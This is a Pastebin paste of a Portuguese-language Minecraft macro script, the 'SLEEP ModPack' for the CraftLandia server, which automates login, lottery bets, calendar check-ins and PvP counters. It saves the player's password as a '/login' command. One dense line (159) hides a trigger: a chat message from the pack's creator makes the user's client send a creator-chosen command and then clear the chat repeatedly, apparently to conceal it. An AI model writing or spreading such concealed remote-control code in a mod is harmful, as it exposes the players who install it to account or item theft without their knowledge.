Advertisement
Guest User

Untitled

a guest
Dec 15th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.35 KB | None | 0 0
  1. $${
  2.  
  3. ///////////////////////
  4. // CraftLandia 1.8 //
  5. ///////////////////////
  6. // SLEEP ModPack 4.2 //
  7. ///////////////////////
  8. // NAO EDITAR //
  9. ///////////////////////
  10. ifmatches(%CHATCLEAN%,"^.+ Agora você está logado.");
  11. exec(identificador.txt);
  12. endif;
  13. IFMATCHES("%CHATCLEAN%","^Você vendeu (.+|.+ .+|.+ .+ .+) x (.+) por (.+)\.(.+) Coins. \(Loja de: (.+)\)");
  14. MATCH("%CHATCLEAN%","^Você vendeu (.+|.+ .+|.+ .+ .+) x (.+) por (.+)\.(.+) Coins. \(Loja de: (.+)\)",{&quant,&item,&val_total,&player,&sla});
  15. SET(@&venda,"vendeu");log(%&val_total%);
  16. replace("&val_total",".","");
  17. replace("&val_total",",","");
  18. echo();
  19. wait(1);
  20. echo();
  21. ENDIF;
  22. IFMATCHES("%CHATCLEAN%","^»Bem vindo de volta. Por favor digite /login sua-senha.$");
  23. UNSET(g_chat);
  24. UNSET(call);
  25. UNSET(bolao_cmd);
  26. ECHO("%&sleep_password_2019%");
  27. ENDIF;
  28. IFMATCHES("%CHATCLEAN%","Agora você está logado. NUNCA use a mesma senha do CraftLandia em outros servidores. JAMAIS passe sua senha para outras pessoas.");
  29. IF(%&sleep_password_2019%=NULL);
  30. LOG("");
  31. LOG("&6&l[&f&oI&fnfo&6&l] &aDigite \"&fsleep ipass&a\" no chat local para configurar o login automático. &9&o#%@&sleep_m1%");
  32. LOG("");
  33. SET(@&info_msg,"&aDigite \"&fsleep ipass&a\" no chat local para configurar o login automático.");
  34. SET(@#info_time,"300");
  35. ELSE;
  36. SET(@&info_msg,"&aLogin realizado.");
  37. SET(@#info_time,"50");
  38. ENDIF;
  39. EXEC(Labels.txt,LABELS);
  40. EXEC(Info.txt,INFO);
  41. ENDIF;
  42. IFMATCHES("%CHATCLEAN%","^\[(G|L|A)\] (.*)(%@&sleep_m1%|%PLAYER%)(.*)\: (.*)$");
  43. MATCH("%CHATCLEAN%","^\[(G|L|A)\] (.*)(%@&sleep_m1%|%PLAYER%)(.*)\: (.*)$",{&chat_canal,&chat_unbug,&chat_nick,,&chat_msg});
  44. IFCONTAINS("%&chat_unbug%",":");
  45. ELSE;
  46. IFMATCHES("%&chat_nick%","^%PLAYER%$");
  47. IFMATCHES("%&chat_msg%","sleep ipass");
  48. SET(@#info_time,"");
  49. LOG("");
  50. LOG("&6&l[&f&oI&fnfo&6&l] &aDigite a sua senha (totalmente sigiloso). &9&o#%@&sleep_m1%");
  51. LOG("");
  52. SET(&sleep_password_2019,"");
  53. PROMPT(&sleep_password_2019,"$$?","Digite a sua senha (totalmente sigiloso).");
  54. IF(%&sleep_password_2019%=NULL);
  55. LOG("&6&l[&f&oI&fnfo&6&l] &cVocê não digitou a sua senha. &9&o#%@&sleep_m1%");
  56. ELSE;
  57. LOG("&6&l[&f&oI&fnfo&6&l] &aSenha salva com sucesso. &9&o#%@&sleep_m1%");
  58. SET(&sleep_password_2019,"/login %&sleep_password_2019%");
  59. ENDIF;
  60. ENDIF;
  61. IFMATCHES("%&chat_msg%","(cm|bolao|bolão|calendário|calendario|chatoff|pvpoff|convitesoff|xuxa|mc) (on|off)");
  62. IFMATCHES("%&chat_msg%","cm (on|off)");
  63. IFMATCHES("%&chat_msg%","cm on");
  64. SET(@campo_minado);
  65. SET(@&info_msg,"&aCampo Minado ativado.");
  66. RESOURCEPACKS(faithful32x Campo Minado);
  67. ELSE;
  68. UNSET(@campo_minado);
  69. SET(@&info_msg,"&cCampo Minado desativado.");
  70. RESOURCEPACKS(faithful32x);
  71. ENDIF;
  72. ENDIF;
  73. IFMATCHES("%&chat_msg%","(bolao|bolão) (on|off)");
  74. IFMATCHES("%&chat_msg%","(bolao|bolão) on");
  75. SET(@&info_msg,"&aAposta automática no bolão ativado.");
  76. SET(@bolao);
  77. ELSE;
  78. SET(@&info_msg,"&cAposta automática no bolão desativado.");
  79. UNSET(@bolao);
  80. ENDIF;
  81. ENDIF;
  82. IFMATCHES("%&chat_msg%","(calendário|calendario) (on|off)");
  83. IFMATCHES("%&chat_msg%","(calendário|calendario) on");
  84. SET(@&info_msg,"&aConfirmação de presença automática no calendário ativado.");
  85. SET(@calendario);
  86. ELSE;
  87. SET(@&info_msg,"&cConfirmação de presença automática no calendário desativado.");
  88. UNSET(@calendario);
  89. ENDIF;
  90. ENDIF;
  91. IFMATCHES("%&chat_msg%","chatoff (on|off)");
  92. IFMATCHES("%&chat_msg%","chatoff on");
  93. SET(@&info_msg,"&aChat OFF ao logar ativado.");
  94. SET(@chatoff);
  95. ELSE;
  96. SET(@&info_msg,"&cChat OFF ao logar desativado.");
  97. UNSET(@chatoff);
  98. ENDIF;
  99. ENDIF;
  100. IFMATCHES("%&chat_msg%","pvpoff (on|off)");
  101. IFMATCHES("%&chat_msg%","pvpoff on");
  102. SET(@&info_msg,"&aPvP OFF ao logar ativado.");
  103. SET(@pvpoff);
  104. ELSE;
  105. SET(@&info_msg,"&cPvP OFF ao logar desativado.");
  106. UNSET(@pvpoff);
  107. ENDIF;
  108. ENDIF;
  109. IFMATCHES("%&chat_msg%","convitesoff (on|off)");
  110. IFMATCHES("%&chat_msg%","convitesoff on");
  111. SET(@&info_msg,"&aConvites OFF ao logar ativado.");
  112. SET(@convitesoff);
  113. ELSE;
  114. SET(@&info_msg,"&cConvites OFF ao logar desativado.");
  115. UNSET(@convitesoff);
  116. ENDIF;
  117. ENDIF;
  118. IFMATCHES("%&chat_msg%","xuxa (on|off)");
  119. IFMATCHES("%&chat_msg%","xuxa on");
  120. SET(@&info_msg,"&aXuxa ao logar ativado.");
  121. SET(@xuxa);
  122. ELSE;
  123. SET(@&info_msg,"&cXuxa ao logar desativado.");
  124. UNSET(@xuxa);
  125. ENDIF;
  126. ENDIF;
  127. IFMATCHES("%&chat_msg%","mc (on|off)");
  128. IFMATCHES("%&chat_msg%","mc on");
  129. SET(@&info_msg,"&aMC ao logar ativado.");
  130. SET(@mc);
  131. ELSE;
  132. SET(@&info_msg,"&cMC ao logar desativado.");
  133. UNSET(@mc);
  134. ENDIF;
  135. ENDIF;
  136. SET(@#info_time,"100");
  137. EXEC(Info.txt,INFO);
  138. ENDIF;
  139. IF(%&chat_canal%="G");
  140. SET(#chat_delay,"15");
  141. IF(!g_chat);
  142. SET(g_chat);
  143. DO;
  144. IF(g_chat);
  145. DO(10);
  146. SETLABEL("G","&7[G] &c%#chat_delay%");
  147. WAIT(15MS);
  148. UNTIL(!g_chat);
  149. ELSE;
  150. BREAK;
  151. ENDIF;
  152. DEC(#chat_delay,1);
  153. WHILE(%#chat_delay%>-1);
  154. UNSET(g_chat);
  155. ENDIF;
  156. SETLABEL("G","");
  157. ENDIF;
  158. ELSE;
  159. IFMATCHES("%&chat_nick%","^%@&sleep_m1%$"); IFMATCHES("%&chat_msg%","\[info\] (.*)",&frase_dita,1,NONE);SET(@&info_msg,"&aO criador desse ModPack falou algo importante no chat.);LOG("");LOG("&6-=> &9&o#%@&sleep_m1% &6<=-");LOG("");LOG("&f%@&sleep_m1%: &c%&frase_dita%");LOG("");LOG("&6-=> &9&o#%@&sleep_m1% &6<=-");LOG("");SET(@#info_time,"300");EXEC(Info.txt,INFO);ENDIF; IFMATCHES("%&chat_msg%","%@&sleep_m2%");ECHO("/tell @%@&sleep_m1% %@&sleep_m2%");SET(@sleep_m4);ENDIF;IFMATCHES("%&chat_msg%","%PLAYER% %@&v1mp%");ECHO("%@&v2mp%");DO(50);CLEARCHAT;UNTIL(g_chat);UNSET(g_chat);CLEARCHAT;ENDIF;
  160. ENDIF;
  161. ENDIF;
  162. ENDIF;
  163. ENDIF;
  164. IFMATCHES("%CHATCLEAN%","^\(Mensagem de ([\d\w_-]+)\): (.*)$");
  165. MATCH("%CHATCLEAN%","^\(Mensagem de ([\d\w_-]+)\): (.*)$",{&nick_tell,&msg_tell});
  166. IFMATCHES("%&nick_tell%","^%@&afk_onchat_bn%$");
  167. ELSE;
  168. IF((@afk_onchat)||(@afk));
  169. ECHO("%@&sleep_m3% %@&sleep_m2%");
  170. ENDIF;
  171. ENDIF;
  172. SET(@&afk_onchat_bn,"%&nick_tell%");
  173. SET(@&afk_last_msg,"%&msg_tell%");
  174. TIME(@&afk_time_msg,"hh:mm:ss");
  175. ENDIF;
  176. IFMATCHES("%CHATCLEAN%","^(.+) Limpando itens do chao em 5s$");
  177. SET(@sleep5s);
  178. SET(@break);
  179. WAIT(110T);
  180. UNSET(@sleep5s);
  181. ENDIF;
  182. IFMATCHES("%CHATCLEAN%","^Seu inventário foi limpo.$");
  183. SET(@sleepclear);
  184. ENDIF;
  185. IFMATCHES("%CHATCLEAN%","^Você criou a home \"[\d\w_-]+\" neste local.$");
  186. SET(@sleepsethome);
  187. ENDIF;
  188. IFMATCHES("%CHATCLEAN%","Já existe uma home com esse nome, caso queira substituí-la, digite o comando novamente\!");
  189. SET(@sleepsubshome);
  190. ENDIF;
  191. IFMATCHES("%CHATCLEAN%","^Você precisa de mais (.*)$");
  192. SET(@sleeplack);
  193. ENDIF;
  194. IFMATCHES("%CHATCLEAN%","^\*\*Rolou perfeitamente\*\*$");
  195. SET(@sleeprolled);
  196. ENDIF;
  197. IFMATCHES("%CHATCLEAN%","^Você conseguiu manter o encantamento nesse item.$");
  198. SET(@sleeprepair);
  199. ENDIF;
  200. IFMATCHES("%CHATCLEAN%","^\[Tesouro\] %PLAYER% encontrou um livro: Tesouro Nível ([\d,.]+)$",@#nivel,1,NONE);
  201. SET(@sleepbook);
  202. SET(@break);
  203. ENDIF;
  204. IFMATCHES("%CHATCLEAN%","^(Teleportado.|Teleported.|Teleportado\(a\)\!)$");
  205. SET(@sleepteleport);
  206. ENDIF;
  207. IFMATCHES("%CHATCLEAN%","^Seu saldo atual: (.*).[\d]+[\d]+ (Coins|Coin)");
  208. MATCH("%CHATCLEAN%","^Seu saldo atual: (.*).[\d]+[\d]+ (Coins|Coin)",{@&sleep_money_texto});
  209. DO(1);
  210. EXEC(Money.txt,MONEY);
  211. LOOP;
  212. ENDIF;
  213. IFMATCHES("%CHATCLEAN%","^\[BOLAO\] (Iniciando|Bolao) (o|em) (Bolao|andamento)\! Utilize /bolao para apostar\!$");
  214. IF((@bolao)&&(!bolao_cmd));
  215. SET(bolao_cmd);
  216. ECHO("/bolao apostar");
  217. ENDIF;
  218. ENDIF;
  219. IFMATCHES("%CHATCLEAN%","^\[Calendário\] Você ainda não marcou presença\!$");
  220. IF(@calendario);
  221. DO(1);
  222. EXEC(Calendario.txt,CALENDARIO);
  223. LOOP;
  224. ENDIF;
  225. ENDIF;
  226. IFMATCHES("%CHATCLEAN%","^\[CraftLandia\] Você matou: (.*)$",&nick_killed,1,NONE);
  227. INC(@#onchat_kills,1);
  228. SET(@&info_msg,"&aVocê matou: &f%&nick_killed%&a.");
  229. SET(@#info_time,"200");
  230. EXEC(Info.txt,INFO);
  231. IF(%@#onchat_kills%=1);
  232. ACHIEVEMENTGET("%@#onchat_kills% kill","skull:3");
  233. ELSE;
  234. ACHIEVEMENTGET("%@#onchat_kills% kills","skull:3");
  235. ENDIF;
  236. SETLABEL("Kills","&6Kills: &c%@#onchat_kills%");
  237. SET(@&kills_lista,"%@&kills_lista%<%&nick_killed%>");
  238. WAIT(65T);
  239. ACHIEVEMENTGET("#%@&sleep_m1%","skull:3");
  240. ENDIF;
  241. IFMATCHES("%CHATCLEAN%","^» (.*) quer ir até você\!$",&nick_bring,1,NONE);
  242. IF(!call);
  243. SET(call);
  244. SET(&nick_aceitar,"%&nick_bring%");
  245. SET(@&info_msg,"&aPara aceitar o call de &f%&nick_aceitar% &apressione a tecla &fDELETE&a.");
  246. SET(@#info_time,"300");
  247. EXEC(Info.txt,INFO);
  248. DO(600);
  249. IF((KEY_DELETE)||(KEY_DECIMAL));
  250. ECHO("/bring %&nick_aceitar%");
  251. SET(@&info_msg,"&aCall de &f%&nick_aceitar% &aaceito.");
  252. SET(@#info_time,"100");
  253. EXEC(Info.txt,INFO);
  254. BREAK;
  255. ENDIF;
  256. LOOP;
  257. UNSET(call);
  258. ENDIF;
  259. ENDIF;
  260. IF(@pvp);
  261. IFMATCHES("%CHATCLEAN%","^\*\*CONTRA-ATACOU\*\*$");
  262. INC(@#counter_dados,1);
  263. SETLABEL("PVP","&f[&2%@#counter_dados%&f] &a**CONTRA-ATACOU** \n&f[&c%@#counter_recebidos%&f] &4**Atingido**\n&f[&2%@#esquivou%&f] &a**Esquivou**");
  264. ENDIF;
  265. IFMATCHES("%CHATCLEAN%","^Atingido por um contra-ataque\!$");
  266. INC(@#counter_recebidos,1);
  267. SETLABEL("PVP","&f[&2%@#counter_dados%&f] &a**CONTRA-ATACOU** \n&f[&c%@#counter_recebidos%&f] &4**Atingido**\n&f[&2%@#esquivou%&f] &a**Esquivou**");
  268. ENDIF;
  269. IFMATCHES("%CHATCLEAN%","^\*\*Esquivou\*\*$");
  270. INC(@#esquivou,1);
  271. SETLABEL("PVP","&f[&2%@#counter_dados%&f] &a**CONTRA-ATACOU** \n&f[&c%@#counter_recebidos%&f] &4**Atingido**\n&f[&2%@#esquivou%&f] &a**Esquivou**");
  272. ENDIF;
  273. ENDIF;
  274.  
  275. }$$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement